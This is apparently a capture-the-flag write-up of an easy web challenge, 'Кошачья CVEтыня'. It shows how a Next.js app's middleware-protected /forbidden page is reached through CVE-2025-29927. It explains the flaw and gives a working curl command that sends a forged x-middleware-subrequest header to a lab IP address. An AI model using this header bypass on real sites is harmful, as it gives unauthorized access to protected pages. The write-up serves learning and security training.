Кошачья CVEтыня
Кошачья CVEтыня
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: nextjs_middleware_subrequest_bypass, authentication_bypass_via_cve
Summary
Walkthrough of the CUSTOM Web Кошачья CVEтыня. Task: Next.js application with middleware-based authentication protecting /forbidden route, outdated framework version. Solution: CVE-2025-29927 — bypass middleware auth by sending x-middleware-subreq
Description
Мы узнали, что в комнате жрицы скрывается ценная информация. Но доступ туда только ограниченному кругу лиц. Возможно, есть способ пробраться окольными путями, так как бекенд сайта давно не обновлялся.
English summary: A "Cat Sanctuary" themed Next.js web application has a protected route /forbidden ("Priestess Room") that redirects unauthenticated users to /login. The challenge name is a wordplay on "CVE" + "святыня" (sanctuary), and the description explicitly states the backend hasn't been updated — hinting at exploiting a known CVE in the framework.
Analysis
Reconnaissance
- Framework identification: The
X-Powered-By: Next.jsresponse header andVary: RSC, Next-Router-State-Tree, Next-Router-Prefetchheaders confirmed a Next.js application. - Build ID:
LL75xgt4tpHxq5hPlEK0D(visible in page source/data routes). - Site structure: A themed "Cat Sanctuary" (Кошачья Святыня) with navigation links including Для жрицы (For the Priestess) linking to
/forbidden. - Authentication mechanism: Accessing
/forbiddenreturned a 307 Temporary Redirect to/login?from=%2Fforbidden, indicating middleware-based authentication protecting the route.
Vulnerability Identification
The challenge name "Кошачья CVEтыня" directly encodes the hint — this is about exploiting a known CVE. Combined with:
- Next.js framework detection
- Middleware-based authentication pattern (307 redirect)
- "Backend hasn't been updated" in the description
This pointed to CVE-2025-29927 — a critical Next.js middleware authorization bypass vulnerability.
CVE-2025-29927 Details
Next.js uses an internal header x-middleware-subrequest to track middleware recursion depth and prevent infinite loops. The vulnerability exists because:
- When Next.js processes a request, it checks the
x-middleware-subrequestheader for colon-separated middleware identifiers. - If the header contains 5 or more entries matching the middleware name, the framework assumes it's stuck in a recursive loop.
- To break the "loop", it skips middleware execution entirely — including any authentication/authorization middleware.
An external attacker can craft this header to bypass all middleware-based security checks.
Solution
The exploit is a single HTTP request with the crafted header:
bash read-only • copy allowedcurl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://31.207.77.216:4022/forbidden
This bypassed the authentication middleware and returned the "Комната жрицы" (Priestess Room) page directly, which contained the flag.
The response included the protected page content with:
Флаг: BugCTF{REDACTED}
Key Takeaways / Lessons
- Mastering nextjs_middleware_subrequest_bypass, authentication_bypass_via_cve was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-25 • CUSTOM • Кошачья CVEтыня • Difficulty: Easy